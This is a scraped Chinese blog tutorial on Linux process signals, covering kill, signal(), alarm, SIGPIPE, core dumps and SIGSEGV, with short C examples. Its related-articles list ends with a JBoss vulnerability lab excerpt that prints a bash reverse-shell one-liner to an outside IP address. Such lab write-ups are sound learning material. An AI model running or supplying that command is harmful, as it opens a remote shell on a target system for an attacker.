做网站推广的难点/东莞网站设计公司
✨✨ 欢迎大家来到贝蒂大讲堂✨✨
🎈🎈养成好习惯,先赞后看哦~🎈🎈
所属专栏:Linux学习
贝蒂的主页:Betty’s blog
1. 信号的引入
1.1 信号的概念
在Linux
系统中,信号(Signal)是一种软件中断机制,用于通知进程发生了特定的事件。信号可以由系统内核、其他进程或者进程自身发送。
我们可以通过指令kill -l
参考所有信号:
信号的本质就是一个define
定义的宏,其中131号信号是普通信号,3464号信号是实时信号,普通信号和实时信号各自都有31个。每一个信号与一个数字相对应,每个信号也都有特定的含义和默认的处理动作。例如,信号SIGINT
(通常由用户按下ctrl + c
产生)表示中断信号,默认情况下会导致进程终止。
其中需要注意的是:在Linux
中,前台进程只能有一个,而后台进程可以为多个。一般而言,我们的bash
进程作为我们的前台进程,而一旦我们执行一个可执行程序,这个可执行程序就会成为前台进程,而bash
进程就会转为后台进程。但是我们如果在执行一个可执行程序时,在之后加一个&
,此时的可执行程序就会由前台进程转换为后台进程。而前台进程与后台进程本质间区别就是前台进程可以从键盘获取数据,后台进程则不能。
比如我们运行一个后台进程,就无法通过ctrl + c
终止进程,因为其无法从键盘读取数据。此时就只能通过kill
指令直接杀死对应的进程。
1.2 信号的获取
我们可以通过指令man 7 signal
查看信号的详细说明:
其中 Term
、Core
表示终止;Ign
标记忽略;Cont
表示继续;Stop
表示暂停。我们早在进程等待时就知道,wait
与waitpid
的参数status
本质就是一个位图结构,其低16比特位当中,高8位表示进程的退出状态,即退出码。进程若是被信号所杀,则低7位表示终止信号,而第8位比特位是core dump
标志。
pid_t wait(int *status);
pid_t waitpid(pid_t pid, int *status, int options);
其中 core dump
标志就是用来区分 Term
和 Core
的。云服务器的 Core dump
功能默认是关闭的,但我们可以通过指令ulimit -a
指令来查看当前系统的所有资源限制。
我们可以通过指令ulimit -c size
,去设置它的大小,如果 size > 0
就表示开启 Core dump
功能。
其中Term
对应的core dump
标志位是 0,表示正常终止;Core
对应的core dump
标志位是 1,表示异常终止。我们可以在程序中,通过位运算status>>7&1
来获取对应的core dump
标志。
打开系统的core dump
功能后,一旦进程出现异常,操作系统会将进程在内存中的运行信息转储到进程的当前目录中,形成core.pid
文件,这一过程被称作核心转储。core.pid
文件中详细记录了程序的异常原因,可以直接帮我们定位到出错行。
比如如下这段代码:
#include <iostream>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
using namespace std;
int main()
{int a = 10;int b = 0;a /= b;return 0;
}
既然core dump
可以帮助我们定位错误信息,那么我们为什么要将其关闭呢?那是因为如果每次产生错误信息都形成core.pid
文件的话,系统可能产生大量文件,而迫使操作系统挂掉,为了避免这种情况,一般而言我们并不建议开启该功能。
1.3 signal函数
当一个信号被发送给一个进程时,进程可以采取以下几种方式来处理信号:
- 忽略信号:进程可以选择忽略某些信号,即不对信号做出任何反应。但并不是所有信号都可以被忽略,例如
SIGKILL
和SIGSTOP
信号不能被忽略。- 捕获信号:进程可以注册一个信号处理函数,当接收到特定信号时,就会执行这个函数。通过这种方式,进程可以在接收到信号时执行自定义的处理逻辑。
- 执行默认动作:如果进程没有显式地忽略或捕获信号,那么它将执行信号的默认动作。默认动作通常是终止进程、停止进程、继续进程等。
接下来我们介绍一个函数signal
,其可以设置进程对某个信号的自定义捕捉方法:即当进程收到 signum
信号的时候,去执行 handler
方法。
- 函数原型:
- typedef void (*sighandler_t)(int);
- sighandler_t signal(int signum, sighandler_t handler);
- 参数:
signum
:是一个整数,表示要处理的信号编号。handler
:是一个函数指针,指向一个信号处理函数。这个信号处理函数接受一个整数参数(即接收到的信号编号),并且没有返回值(void
)。可以是以下几种值:
SIG_DFL
:表示默认的信号处理动作。SIG_IGN
:表示忽略该信号。- 自定义的信号处理函数指针,用于处理特定信号。
例如,下面的代码中将2号信号进行了捕捉,当该进程运行起来后,若该进程收到了2号信号就会打印出对应的信号编码。
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handler(int sign)
{printf("get a signal :%d\n",sign);
}
int main()
{signal(2,handler);while(1){printf("hello world!\n");sleep(1);}return 0;
}
其中前台进程在运行过程中,用户随时可能按下Ctrl+C
而产生一个信号,也就是说该进程的代码执行到任何地方都可能收到SIGINT
信号而终止,所以信号相对于进程的控制流程来说是异步的。
2. 信号的产生
在我们操作系统中,信号的产生方式有许多,总体归纳来说有四种。
2.1 终端按键
其中我们通过键盘快捷键直接向我们的进程发出信号的方式非常常见,其中较为我们常用的有:
组合键 | 功能 |
---|---|
Ctrl+C | 向进程发出SIGINT 信号,终止进程。 |
Ctrl+\ | 向进程发出SIGQUIT 信号,终止进程。 |
Ctrl+Z | 向进程发送SIGTSTP 信号,暂停进程的执行。 |
2.2 系统接口
我们也可以通过操作系统为我们提供的接口对进程发送对应的信号。
其中较为常用的一个接口为kill
,其具体用法如下:
- 函数原型:int kill(pid_t pid, int sig);
- 参数:
pid
对应要发送信号进程的pid
,sig
表示发送的信号种类。- 返回值:如果成功,返回值为 0。否则,返回值为 -1
例如:下面这段代码,我们可以对指定进程发送一个SIGKILL
信号,正常终止该进程。
int main()
{int cnt = 0;while(1){printf("hello world!\n");sleep(1);++cnt;if(cnt == 5){kill(getpid(),SIGKILL);}}return 0;
}
接下来我们再来介绍两个接口:raise
与abort
。
int raise(int sig);
void abort(void);
raise
函数用于给当前进程发送sig
号信号,而abort
函数相当于给当前进程发送SIGABRT
信号,使当前进程异常终止。
abort
与exit
函数同样是终止进程,它们之间有什么区别吗?
首先明确
abort
函数和exit
函数的不同作用。abort
函数的作用是异常终止进程,它本质上是通过向当前进程发送SIGABRT
信号来实现这一目的。而exit
函数的作用是正常终止进程。需要注意的是,使用
exit
函数终止进程可能会失败,因为在某些复杂的程序运行环境中,可能存在一些因素干扰正常的进程终止流程。然而,使用abort
函数终止进程通常被认为总是成功的,这是由于其通过发送特定信号强制终止进程,一般情况下进程很难忽略该信号而继续运行。
2.3 软件条件
在我们前面学习管道通信时,就知道如果进程将读端关闭,而写端进程还一直向管道写入数据,那么此时写端进程就会收到SIGPIPE
信号进而被操作系统终止。SIGPIPE
就是一种典型的因为软件异常而产生的信号。
例如,下面代码,创建匿名管道进行父子进程之间的通信,其中父进程去读取数据,子进程去写入数据,但是一开始将父进程的读端关闭了,那么此时子进程在向管道写入数据时就会收到SIGPIPE
信号,进而被终止。
#include<stdio.h>
#include<unistd.h>
#include<string.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/wait.h>
int main()
{int fd[2]={0};if(pipe(fd)<0){perror("pipe:");return 1;}pid_t id = fork();if(id ==0 ){//child -> writeclose(fd[0]);char*msg = "hello father, i am child...";while(1){write(fd[1],msg,strlen(msg));sleep(1);}close(fd[1]);exit(0);}// father -> readclose(fd[1]);close(fd[0]);int status = 0;waitpid(id,&status,0);printf("child get a signal :%d\n",status&0x7f);return 0;
}
我们能够通过alarm
函数,设定一个闹钟,倒计时完毕向我们的进程发送SLGALRM
信号,其具体用法如下:
- 函数原型:unsigned int alarm(unsigned int seconds);
- 参数:
seconds
表示倒计时的秒数。- 返回值:如果调用
alarm
函数前,进程已经设置了闹钟,则返回上一个闹钟时间的剩余时间,并且本次闹钟的设置会覆盖上一次闹钟的设置。如果调用alarm
函数前,进程没有设置闹钟,则返回值为0。
例如下面这段代码,我们首先对SLGALRM
信号进行捕捉,并给出我们的自定义方法,然后5秒后调用alarm
函数。
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
#include<sys/types.h>
#include<unistd.h>
void handler(int sign)
{printf("get a signal:%d\n",sign);exit(1);
}
int main()
{signal(SIGALRM,handler);alarm(5);while(1){printf("hello wrold!\n");sleep(1);}return 0;
}
2.4 硬件异常
当程序出现除 0、野指针、越界等错误时,程序会崩溃,本质是进程在运行中收到操作系统发来的信号而被终止。 这些发送的信号都是由硬件异常产生的。
比如下面这段代码,进行了对空指针的解引用,那么其到底是如何被操作系统识别的呢?
#include<stdio.h>
int main()
{int *p = NULL;*p = 3;//对空指针解引用。return 0;
}
首先我们知道,当我们要访问一个变量时,进程控制块task_struct
一定要会经过页表的映射,将虚拟地址转换成物理地址,然后才能进行相应的访问操作。
而页表属于一种软件映射关系,在从虚拟地址到物理地址映射过程中,有一个硬件单元叫做 MMU
(内存管理单元),它是负责处理 CPU 的内存访问请求的计算机硬件。如今,MMU
已集成到 CPU 当中。虽然映射工作原本不是由 CPU 做而是由 MMU
做,但现在其与 CPU 的紧密结合使得整个内存访问过程更加高效。
当进行虚拟地址到物理地址的映射时,先将页表左侧的虚拟地址提供给 MMU
,MMU
会计算出对应的物理地址,随后通过这个物理地址进行相应的访问。
由于 MMU
是硬件单元,所以它有相应的状态信息。当要访问不属于我们的虚拟地址时,MMU
在进行虚拟地址到物理地址的转换时会出现错误,并将对应的错误写入到自己的状态信息当中。此时,硬件异常,硬件上的信息会立马被操作系统识别到,进而向对应进程发送 SIGSEGV
信号。
相关文章:

[Linux]:信号(上)
✨✨ 欢迎大家来到贝蒂大讲堂✨✨ 🎈🎈养成好习惯,先赞后看哦~🎈🎈 所属专栏:Linux学习 贝蒂的主页:Betty’s blog 1. 信号的引入 1.1 信号的概念 在Linux系统中,信号(…...

浙大数据结构:05-树9 Huffman Codes
这道题难度挺大,写起来较为费劲,这里我依然使用了STL库,使得代码量大幅减少不过百行,便于大家理解。 机翻: 1、条件准备 数组存储字符对应频率,n,student存储输入多少字符,有多少学生测试。 …...

scrapy爬虫基础
一、初识 创建项目: scrapy startproject my_one_project # 创建项目命令 cd my_one_project # 先进去, 后面在里面运行 运行爬虫命令为:scrapy crawl tk spiders下创建test.py 其中name就是scrapy crawl tk &…...

利用H5无插件播放RTSP流的实现方案
文章目录 0. 引言1. 问题分析1.1 RTSP流与浏览器的兼容性1.2 解决思路 2. 方案设计2.1 总体架构2.2 关键组件 3. 实施步骤3.1 环境准备3.2 安装与配置3.2.1 安装FFmpeg3.2.2 安装OpenResty3.2.3 添加nginx-rtmp-module模块3.2.4 配置OpenResty 3.3 推流操作3.4 前端播放3.4.1 引…...

CSS文本格式化
通过 CSS 中的文本属性您可以像操作 Word 文档那样定义网页中文本的字符间距、对齐方式、缩进等等,CSS 中常用的文本属性如下所示: text-align:设置文本的水平对齐方式;text-decoration:设置文本的装饰;te…...

python的 __name__和__doc__属性
__name__属性 __name__属性 用于判断当前模块是不是程序入口,如果当前程序正在使用,__name__的值为__main__。 在编写程序时,通常需要给每个模块添加条件语句,用于单独测试该模块的功能。 每个模块都有一个名称,当一…...

Go语言中的Mutex实现探讨
解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 在并发编程中,互斥锁(Mutex)是一个重要的工具,它帮助我们控制多个协程对共享资源的访问,从而防止数据竞争和不一致性。本文将深入探讨Go语言中Mutex的实现历程和使用方式,同时分享在处理并发问题时的思路与…...

第五届计算机科学与管理科技国际学术会议(ICCSMT 2024)
梁哲,同济大学长聘特聘教授,国家杰青、首届国家杰青延续项目获得者、上海市曙光学者、上海市优秀学术带头人。本科毕业于新加坡国立大计算机工程系、硕士毕业于新加坡国立大学工业与系统工程系、博士毕业于美国新泽西州立大学工业工程系。理论研究主要集…...

【machine learning-13-线性回归的向量化】
向量化 向量化简洁并行计算 向量化 线性回归的向量化表示如下,其中w 和 x 都分别加了箭头表示这是个向量,后续不加也可以表示为向量,w和x点乘加上b,就构成了多元线性回归的表达方式,如下: 那么究竟为什么…...

【CSS|第2期】探索HTML与CSS中的文档流:从自然流到高级布局技巧
日期:2024年9月9日 作者:Commas 签名:(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释:如果您觉在这里插入代码片得有所帮助,帮忙点个赞,也可以关注我,我们一起成长;如果有不对…...

MATLAB绘图基础9:多变量图形绘制
参考书:《 M A T L A B {\rm MATLAB} MATLAB与学术图表绘制》(关东升)。 9.多变量图形绘制 9.1 气泡图 气泡图用于展示三个或更多变量变量之间的关系,气泡图的组成要素: 横轴( X {\rm X} X轴):表示数据集中的一个变量,…...

JBOSS中间件漏洞复现
CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…...

每日论文6—16ISCAS一种新型低电流失配和变化电流转向电荷泵
《A Novel Current Steering Charge Pump with Low Current Mismatch and Variation》16ISCAS 本文首先介绍了传统的current steering charge pump,如下图: 比起最简单的电荷泵,主要好处是UP和DN开关离输出节点较远,因此一定程度…...

低代码开发平台:未来五大发展趋势预测
在数字化转型的浪潮中,低代码开发平台正迅速崛起,成为企业软件开发的重要工具。随着技术的不断进步和市场需求的持续增长,低代码开发平台在未来将展现出更为广阔的发展前景。本文将预测并探讨低代码开发平台的五大发展趋势。 深度融合数字化与…...

国内AI大模型,这篇文章说透了
探索国内顶尖AI企业及其创新产品。 人工智能(AI)的发展正以前所未有的速度推进。 从简单的自动化任务到复杂的决策制定、自然语言处理、图像识别及自主系统的实现,不断拓宽着人类智慧的边界。 国内AI发展迅猛,不仅在理论研究上…...

3.4 爬虫实战-爬去智联招聘职位信息
课程目标 爬去智联招聘 课程内容 import requests from bs4 import BeautifulSoup from tqdm import tqdm import pandas as pd import time def tran_salary(ori_salary):if "万" in ori_salary:ori_salary ori_salary.replace("万","")ori…...

Java 之注解详解
Java 注解(Annotation)自 Java 5 版本引入,为代码提供了强大的元数据支持。它们如同代码中的标记,能够被编译器、工具和运行时环境识别,赋予代码更丰富的语义和更强大的功能。 一、注解入门 1.1 初识注解:…...

计算机视觉实战项目4(图像分类+目标检测+目标跟踪+姿态识别+车道线识别+车牌识别+无人机检测+A*路径规划+单目测距与测速+行人车辆计数等)
往期热门项目回顾: 计算机视觉项目大集合 改进的yolo目标检测-测距测速 路径规划算法 图像去雨去雾目标检测测距项目 交通标志识别项目 yolo系列-重磅yolov9界面-最新的yolo 姿态识别-3d姿态识别 深度学习小白学习路线 AI健身教练-引体向上-俯卧撑计数…...

【Spring Cloud】Spring Cloud 概述
Spring Cloud 概述 1. 认识微服务1.1 单体架构1.2 集群和分布式架构集群和分布式 1.3 微服务架构分布式架构&微服务架构 1.4 微服务带来的挑战优势挑战 2. 微服务解决⽅案- Spring Cloud2.1 什么是Spring Cloud2.2 Spring Cloud版本Spring Cloud和SpringBoot的关系 2.3 Spr…...

猫头虎带你解决:error Error: certificate has expired
🐯猫头虎带你解决:error Error: certificate has expired 💥 今天有粉丝问猫哥:“🐯猫头虎,我在 Node.js 项目中使用 Yarn 安装包时遇到了一个错误:Error: certificate has expired。你能帮忙解…...

盘点2024年4款高效率的语音转文字工具。
语音转换文字软件真的是一种提高效率的神器,我在工作中常常因为手动记录太慢而选择录音。事后在形成记录,但效率比较低。自从知道有直接转换的工具之后,我有再多的录音都不怕了。如果大家也有跟我一样的工作时,可以试试使用这些语…...

记录Mac编译Android源码踩过的坑
学习Android源码,如果电脑配置还不错,最好还是下载一套源码,经过编译后导入到Android Studio中来学习,这样会更加的直观,代码之间的跳转查看会更加方便。因此,笔者决定下载并编译一套源码,以利于…...

C++ 数据结构算法细节相关
细节 队列 这段代码实现的是二叉树的层序遍历,也就是按照树的层次,一层一层地遍历节点。下面我会为你详细解释这段代码。 queue <TreeNode*> q; 这是一个队列,队列中存放的是指向TreeNode的指针。队列(queue)是…...

【HTML5】html5开篇基础(1)
1.❤️❤️前言~🥳🎉🎉🎉 Hello, Hello~ 亲爱的朋友们👋👋,这里是E绵绵呀✍️✍️。 如果你喜欢这篇文章,请别吝啬你的点赞❤️❤️和收藏📖📖。如果你对我的…...

C#自定义曲线绘图面板
一、实现功能 1、显示面板绘制。 2、拖动面板,X轴、Y轴都可以拖动。 3、显示面板缩放,放大或者缩小。 4、鼠标在面板中对应的XY轴数值。 5、自动生成的数据数组,曲线显示。 6、鼠标是否在曲线上检测。 二、界面 拖动面板 鼠标在曲线上…...

Java后端面试题+下一篇答案+实况场景题
uu们大家好!市面上面试题很多,这边汇总并更新一下java后端面试的题目,助大家早日斩下心仪的offer!!(下次跟新场景题...等我多碰几次壁...哈哈哈哈哈) 这边放题目,下一篇跟新所有另面…...

完美解决vant浮动气泡+弹出菜单
使用框架: vue3,vant4 项目需求: 需要有一个浮动气泡,点击弹出导航菜单 遇到的问题: 1. 使用van-floating-bubble包裹van-popover,但点击后只会重复显示不能隐藏 2. popover位置固定,不能根据…...

SpringSecurity -- 入门使用
文章目录 什么是 SpringSesurity ?细节使用方法 什么是 SpringSesurity ? 在我们的开发中,安全还是有些必要的 用 拦截器 和 过滤器 写代码还是比较麻烦。 SpringSecurity 是 SpringBoot 的底层安全默认选型。一般我们需要认证和授权…...

C语言习题~day33
1.以下程序运行时,若输入1abcedf2df输出结果是() #include <stdio.h> int main() { char a 0, ch; while ((ch getchar()) ! \n) { if (a % 2 ! 0 && (ch > a && ch < z)) ch ch - a A; a; putchar(ch); }…...

作业报告┭┮﹏┭┮(Android反调试)
一:Android反调试 主要是用来防止IDA进行附加的,主要的方法思路就是,判断自身是否有父进程,判断是否端口被监听,然后通过调用so文件中的线程进行监视,这个线程开启一般JNI_OnLoad中进行开启的。但是这个是…...